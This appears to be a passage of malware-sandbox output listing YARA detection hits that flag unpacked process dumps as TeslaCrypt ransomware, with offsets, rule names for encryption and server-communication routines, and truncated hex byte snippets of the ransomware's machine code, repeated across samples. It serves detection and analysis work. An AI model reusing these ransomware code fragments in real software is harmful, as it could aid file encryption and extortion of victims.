84 24 0x19430:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 0x1d2e0:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 0x1d9b0:$file_search_3_1: 55 8B EC B8 94 58 01 00 E8 D3 E0 00 00 A1 7C A0 43 00 33 C5 89 45 FC 53 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FE DF FF FF 51 66 89 85 FC DF FF FF E8 0x12ef7:$search_and_encrypt_3_1: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ...
13.2.svcmtr.exe.240000.0.raw.unpack	Win32_Ransomware_Teslacrypt	unknown	ReversingLabs	0x19436:$server_communication_2_0_4e: B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 D0 19 00 00 83 3D 74 CD 4B 00 01 53 56 57 75 12 C7 44 24 14 18 4B 43 00 C7 44 24 1C 20 4B 43 00 EB 1A A1 1C CA 43 00 50 C7 44 24 18 ... 0x12db0:$search_and_encrypt_2_0_4e_1: 55 8B EC B8 5C 42 00 00 E8 D3 8C 01 00 A1 7C A0 43 00 33 C5 89 45 FC 53 8B 5D 08 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FA DF FF FF 51 66 89 85 F8 DF FF FF E8 28 7F 01 00 83 C4 0C 33 D2 68 FE 1F ... 0x12e56:$search_and_encrypt_2_0_4e_2: 0F 84 95 02 00 00 F6 85 A8 BD FF FF 10 0F 84 96 01 00 00 8D 8D D4 BD FF FF B8 1C 49 43 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE ... 0x12ef7:$search_and_encrypt_2_0_4e_3: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ... 0x12f86:$search_and_encrypt_2_0_4e_4: 8D 8D F8 DF FF FF B8 20 0B 4D 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 FF 85 C0 0F 84 10 01 00 00 8B 45 ... 0x13045:$search_and_encrypt_2_0_4e_5: 8D 85 D4 BD FF FF 83 C4 0C 8D 50 02 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 8D 95 D4 BD FF FF D1 F8 52 8D 78 01 E8 89 0C 01 00 83 C4 04 8B F0 57 56 E8 B8 0A 01 00 8B 3D CC 12 43 00 68 28 49 43 ... 0x19430:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 0x1d2e0:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 A0 E7 00 00 A1 7C A0 43 00 33 C4 89 84 24 0x19430:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 0x1d2e0:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 0x1d9b0:$file_search_3_1: 55 8B EC B8 94 58 01 00 E8 D3 E0 00 00 A1 7C A0 43 00 33 C5 89 45 FC 53 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FE DF FF FF 51 66 89 85 FC DF FF FF E8 0x12ef7:$search_and_encrypt_3_1: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ...
2.2.svcmtr.exe.240000.0.unpack	Win32_Ransomware_Teslacrypt	unknown	ReversingLabs	0x18836:$server_communication_2_0_4e: B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 D0 19 00 00 83 3D 74 CD 4B 00 01 53 56 57 75 12 C7 44 24 14 18 4B 43 00 C7 44 24 1C 20 4B 43 00 EB 1A A1 1C CA 43 00 50 C7 44 24 18 ... 0x121b0:$search_and_encrypt_2_0_4e_1: 55 8B EC B8 5C 42 00 00 E8 D3 8C 01 00 A1 7C A0 43 00 33 C5 89 45 FC 53 8B 5D 08 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FA DF FF FF 51 66 89 85 F8 DF FF FF E8 28 7F 01 00 83 C4 0C 33 D2 68 FE 1F ... 0x12256:$search_and_encrypt_2_0_4e_2: 0F 84 95 02 00 00 F6 85 A8 BD FF FF 10 0F 84 96 01 00 00 8D 8D D4 BD FF FF B8 1C 49 43 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE ... 0x122f7:$search_and_encrypt_2_0_4e_3: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ... 0x12386:$search_and_encrypt_2_0_4e_4: 8D 8D F8 DF FF FF B8 20 0B 4D 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 FF 85 C0 0F 84 10 01 00 00 8B 45 ... 0x12445:$search_and_encrypt_2_0_4e_5: 8D 85 D4 BD FF FF 83 C4 0C 8D 50 02 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 8D 95 D4 BD FF FF D1 F8 52 8D 78 01 E8 89 0C 01 00 83 C4 04 8B F0 57 56 E8 B8 0A 01 00 8B 3D CC 12 43 00 68 28 49 43 ... 0x18830:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 0x1c6e0:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 A0 E7 00 00 A1 7C A0 43 00 33 C4 89 84 24 0x18830:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 0x1c6e0:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 0x1cdb0:$file_search_3_1: 55 8B EC B8 94 58 01 00 E8 D3 E0 00 00 A1 7C A0 43 00 33 C5 89 45 FC 53 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FE DF FF FF 51 66 89 85 FC DF FF FF E8 0x122f7:$search_and_encrypt_3_1: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ...
12.2.svcmtr.exe.2c0000.0.unpack	Win32_Ransomware_Teslacrypt	unknown	ReversingLabs	0x18836:$server_communication_2_0_4e: B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 D0 19 00 00 83 3D 74 CD 4B 00 01 53 56 57 75 12 C7 44 24 14 18 4B 43 00 C7 44 24 1C 20 4B 43 00 EB 1A A1 1C CA 43 00 50 C7 44 24 18 ... 0x121b0:$search_and_encrypt_2_0_4e_1: 55 8B EC B8 5C 42 00 00 E8 D3 8C 01 00 A1 7C A0 43 00 33 C5 89 45 FC 53 8B 5D 08 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FA DF FF FF 51 66 89 85 F8 DF FF FF E8 28 7F 01 00 83 C4 0C 33 D2 68 FE 1F ... 0x12256:$search_and_encrypt_2_0_4e_2: 0F 84 95 02 00 00 F6 85 A8 BD FF FF 10 0F 84 96 01 00 00 8D 8D D4 BD FF FF B8 1C 49 43 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE ... 0x122f7:$search_and_encrypt_2_0_4e_3: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ... 0x12386:$search_and_encrypt_2_0_4e_4: 8D 8D F8 DF FF FF B8 20 0B 4D 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 FF 85 C0 0F 84 10 01 00 00 8B 45 ... 0x12445:$search_and_encrypt_2_0_4e_5: 8D 85 D4 BD FF FF 83 C4 0C 8D 50 02 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 8D 95 D4 BD FF FF D1 F8 52 8D 78 01 E8 89 0C 01 00 83 C4 04 8B F0 57 56 E8 B8 0A 01 00 8B 3D CC 12 43 00 68 28 49 43 ... 0x18830:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 0x1c6e0:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 A0 E7 00 00 A1 7C A0 43 00 33 C4 89 84 24 0x18830:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 0x1c6e0:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 0x1cdb0:$file_search_3_1: 55 8B EC B8 94 58 01 00 E8 D3 E0 00 00 A1 7C A0 43 00 33 C5 89 45 FC 53 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FE DF FF FF 51 66 89 85 FC DF FF FF E8 0x122f7:$search_and_encrypt_3_1: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ...
11.2.svcmtr.exe.260000.0.raw.unpack	Win32_Ransomware_Teslacrypt	unknown	ReversingLabs	0x19436:$server_communication_2_0_4e: B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 D0 19 00 00 83 3D 74 CD 4B 00 01 53 56 57 75 12 C7 44 24 14 18 4B 43 00 C7 44 24 1C 20 4B 43 00 EB 1A A1 1C CA 43 00 50 C7 44 24 18 ... 0x12db0:$search_and_encrypt_2_0_4e_1: 55 8B EC B8 5C 42 00 00 E8 D3 8C 01 00 A1 7C A0 43 00 33 C5 89 45 FC 53 8B 5D 08 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FA DF FF FF 51 66 89 85 F8 DF FF FF E8 28 7F 01 00 83 C4 0C 33 D2 68 FE 1F ... 0x12e56:$search_and_encrypt_2_0_4e_2: 0F 84 95 02 00 00 F6 85 A8 BD FF FF 10 0F 84 96 01 00 00 8D 8D D4 BD FF FF B8 1C 49 43 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE ... 0x12ef7:$search_and_encrypt_2_0_4e_3: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ... 0x12f86:$search_and_encrypt_2_0_4e_4: 8D 8D F8 DF FF FF B8 20 0B 4D 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 FF 85 C0 0F 84 10 01 00 00 8B 45 ... 0x13045:$search_and_encrypt_2_0_4e_5: 8D 85 D4 BD FF FF 83 C4 0C 8D 50 02 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 8D 95 D4 BD FF FF D1 F8 52 8D 78 01 E8 89 0C 01 00 83 C4 04 8B F0 57 56 E8 B8 0A 01 00 8B 3D CC 12 43 00 68 28 49 43 ... 0x19430:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 0x1d2e0:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 A0 E7 00 00 A1 7C A0 43 00 33 C4 89 84 24 0x19430:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 0x1d2e0:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 0x1d9b0:$file_search_3_1: 55 8B EC B8 94 58 01 00 E8 D3 E0 00 00 A1 7C A0 43 00 33 C5 89 45 FC 53 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FE DF FF FF 51 66 89 85 FC DF FF FF E8 0x12ef7:$search_and_encrypt_3_1: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ...
11.2.svcmtr.exe.400000.1.unpack	Win32_Ransomware_Teslacrypt	unknown	ReversingLabs	0x19436:$server_communication_2_0_4e: B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 D0 19 00 00 83 3D 74 CD 4B 00 01 53 56 57 75 12 C7 44 24 14 18 4B 43 00 C7 44 24 1C 20 4B 43 00 EB 1A A1 1C CA 43 00 50 C7 44 24 18 ... 0x12db0:$search_and_encrypt_2_0_4e_1: 55 8B EC B8 5C 42 00 00 E8 D3 8C 01 00 A1 7C A0 43 00 33 C5 89 45 FC 53 8B 5D 08 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FA DF FF FF 51 66 89 85 F8 DF FF FF E8 28 7F 01 00 83 C4 0C 33 D2 68 FE 1F ... 0x12e56:$search_and_encrypt_2_0_4e_2: 0F 84 95 02 00 00 F6 85 A8 BD FF FF 10 0F 84 96 01 00 00 8D 8D D4 BD FF FF B8 1C 49 43 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE ... 0x12ef7:$search_and_encrypt_2_0_4e_3: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ... 0x12f86:$search_and_encrypt_2_0_4e_4: 8D 8D F8 DF FF FF B8 20 0B 4D 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 FF 85 C0 0F 84 10 01 00 00 8B 45 ... 0x13045:$search_and_encrypt_2_0_4e_5: 8D 85 D4 BD FF FF 83 C4 0C 8D 50 02 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 8D 95 D4 BD FF FF D1 F8 52 8D 78 01 E8 89 0C 01 00 83 C4 04 8B F0 57 56 E8 B8 0A 01 00 8B 3D CC 12 43 00 68 28 49 43 ... 0x19430:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 0x1d2e0:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 A0 E7 00 00 A1 7C A0 43 00 33 C4 89 84 24 0x19430:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 0x1d2e0:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 0x1d9b0:$file_search_3_1: 55 8B EC B8 94 58 01 00 E8 D3 E0 00 00 A1 7C A0 43 00 33 C5 89 45 FC 53 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FE DF FF FF 51 66 89 85 FC DF FF FF E8 0x12ef7:$search_and_encrypt_3_1: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ...
13.2.svcmtr.exe.240000.0.unpack	Win32_Ransomware_Teslacrypt	unknown	ReversingLabs	0x18836:$server_communication_2_0_4e: B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 D0 19 00 00 83 3D 74 CD 4B 00 01 53 56 57 75 12 C7 44 24 14 18 4B 43 00 C7 44 24 1C 20 4B 43 00 EB 1A A1 1C CA 43 00 50 C7 44 24 18 ... 0x121b0:$search_and_encrypt_2_0_4e_1: 55 8B EC B8 5C 42 00 00 E8 D3 8C 01 00 A1 7C A0 43 00 33 C5 89 45 FC 53 8B 5D 08 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FA DF FF FF 51 66 89 85 F8 DF FF FF E8 28 7F 01 00 83 C4 0C 33 D2 68 FE 1F ... 0x12256:$search_and_encrypt_2_0_4e_2: 0F 84 95 02 00 00 F6 85 A8 BD FF FF 10 0F 84 96 01 00 00 8D 8D D4 BD FF FF B8 1C 49 43 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE ... 0x122f7:$search_and_encrypt_2_0_4e_3: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ... 0x12386:$search_and_encrypt_2_0_4e_4: 8D 8D F8 DF FF FF B8 20 0B 4D 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 FF 85 C0 0F 84 10 01 00 00 8B 45 ... 0x12445:$search_and_encrypt_2_0_4e_5: 8D 85 D4 BD FF FF 83 C4 0C 8D 50 02 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 8D 95 D4 BD FF FF D1 F8 52 8D 78 01 E8 89 0C 01 00 83 C4 04 8B F0 57 56 E8 B8 0A 01 00 8B 3D CC 12 43 00 68 28 49 43 ... 0x18830:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 0x1c6e0:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 A0 E7 00 00 A1 7C A0 43 00 33 C4 89 84 24 0x18830:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 0x1c6e0:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 0x1cdb0:$file_search_3_1: 55 8B EC B8 94 58 01 00 E8 D3 E0 00 00 A1 7C A0 43 00 33 C5 89 45 FC 53 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FE DF FF FF 51 66 89 85 FC DF FF FF E8 0x122f7:$search_and_encrypt_3_1: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ...
11.2.svcmtr.exe.260000.0.unpack	Win32_Ransomware_Teslacrypt	unknown	ReversingLabs	0x18836:$server_communication_2_0_4e: B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 D0 19 00 00 83 3D 74 CD 4B 00 01 53 56 57 75 12 C7 44 24 14 18 4B 43 00 C7 44 24 1C 20 4B 43 00 EB 1A A1 1C CA 43 00 50 C7 44 24 18 ... 0x121b0:$search_and_encrypt_2_0_4e_1: 55 8B EC B8 5C 42 00 00 E8 D3 8C 01 00 A1 7C A0 43 00 33 C5 89 45 FC 53 8B 5D 08 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FA DF FF FF 51 66 89 85 F8 DF FF FF E8 28 7F 01 00 83 C4 0C 33 D2 68 FE 1F ... 0x12256:$search_and_encrypt_2_0_4e_2: 0F 84 95 02 00 00 F6 85 A8 BD FF FF 10 0F 84 96 01 00 00 8D 8D D4 BD FF FF B8 1C 49 43 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE ... 0x122f7:$search_and_encrypt_2_0_4e_3: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ... 0x12386:$search_and_encrypt_2_0_4e_4: 8D 8D F8 DF FF FF B8 20 0B 4D 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 FF 85 C0 0F 84 10 01 00 00 8B 45 ... 0x12445:$search_and_encrypt_2_0_4e_5: 8D 85 D4 BD FF FF 83 C4 0C 8D 50 02 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 8D 95 D4 BD FF FF D1 F8 52 8D 78 01 E8 89 0C 01 00 83 C4 04 8B F0 57 56 E8 B8 0A 01 00 8B 3D CC 12 43 00 68 28 49 43 ... 0x18830:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 0x1c6e0:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 A0 E7 00 00 A1 7C A0 43 00 33 C4 89 84 24 0x18830:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 0x1c6e0:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 0x1cdb0:$file_search_3_1: 55 8B EC B8 94 58 01 00 E8 D3 E0 00 00 A1 7C A0 43 00 33 C5 89 45 FC 53 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FE DF FF FF 51 66 89 85 FC DF FF FF E8 0x122f7:$search_and_encrypt_3_1: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ...
0.2.0t8amSU3vd.exe.400000.0.unpack	Win32_Ransomware_Teslacrypt	unknown	ReversingLabs	0x19436:$server_communication_2_0_4e: B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 D0 19 00 00 83 3D 74 CD 4B 00 01 53 56 57 75 12 C7 44 24 14 18 4B 43 00 C7 44 24 1C 20 4B 43 00 EB 1A A1 1C CA 43 00 50 C7 44 24 18 ... 0x12db0:$search_and_encrypt_2_0_4e_1: 55 8B EC B8 5C 42 00 00 E8 D3 8C 01 00 A1 7C A0 43 00 33 C5 89 45 FC 53 8B 5D 08 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FA DF FF FF 51 66 89 85 F8 DF FF FF E8 28 7F 01 00 83 C4 0C 33 D2 68 FE 1F ... 0x12e56:$search_and_encrypt_2_0_4e_2: 0F 84 95 02 00 00 F6 85 A8 BD FF FF 10 0F 84 96 01 00 00 8D 8D D4 BD FF FF B8 1C 49 43 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE ... 0x12ef7:$search_and_encrypt_2_0_4e_3: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ... 0x12f86:$search_and_encrypt_2_0_4e_4: 8D 8D F8 DF FF FF B8 20 0B 4D 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 FF 85 C0 0F 84 10 01 00 00 8B 45 ... 0x13045:$search_and_encrypt_2_0_4e_5: 8D 85 D4 BD FF FF 83 C4 0C 8D 50 02 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 8D 95 D4 BD FF FF D1 F8 52 8D 78 01 E8 89 0C 01 00 83 C4 04 8B F0 57 56 E8 B8 0A 01 00 8B 3D CC 12 43 00 68 28 49 43 ... 0x19430:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 0x1d2e0:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 A0 E7 00 00 A1 7C A0 43 00 33 C4 89 84 24 0x19430:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 0x1d2e0:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 0x1d9b0:$file_search_3_1: 55 8B EC B8 94 58 01 00 E8 D3 E0 00 00 A1 7C A0 43 00 33 C5 89 45 FC 53 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FE DF FF FF 51 66 89 85 FC DF FF FF E8 0x12ef7:$search_and_encrypt_3_1: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ...
12.2.svcmtr.exe.2c0000.0.raw.unpack	Win32_Ransomware_Teslacrypt	unknown	ReversingLabs	0x19436:$server_communication_2_0_4e: B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 D0 19 00 00 83 3D 74 CD 4B 00 01 53 56 57 75 12 C7 44 24 14 18 4B 43 00 C7 44 24 1C 20 4B 43 00 EB 1A A1 1C CA 43 00 50 C7 44 24 18 ... 0x12db0:$search_and_encrypt_2_0_4e_1: 55 8B EC B8 5C 42 00 00 E8 D3 8C 01 00 A1 7C A0 43 00 33 C5 89 45 FC 53 8B 5D 08 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FA DF FF FF 51 66 89 85 F8 DF FF FF E8 28 7F 01 00 83 C4 0C 33 D2 68 FE 1F ... 0x12e56:$search_and_encrypt_2_0_4e_2: 0F 84 95 02 00 00 F6 85 A8 BD FF FF 10 0F 84 96 01 00 00 8D 8D D4 BD FF FF B8 1C 49 43 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE ... 0x12ef7:$search_and_encrypt_2_0_4e_3: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ... 0x12f86:$search_and_encrypt_2_0_4e_4: 8D 8D F8 DF FF FF B8 20 0B 4D 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 FF 85 C0 0F 84 10 01 00 00 8B 45 ... 0x13045:$search_and_encrypt_2_0_4e_5: 8D 85 D4 BD FF FF 83 C4 0C 8D 50 02 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 8D 95 D4 BD FF FF 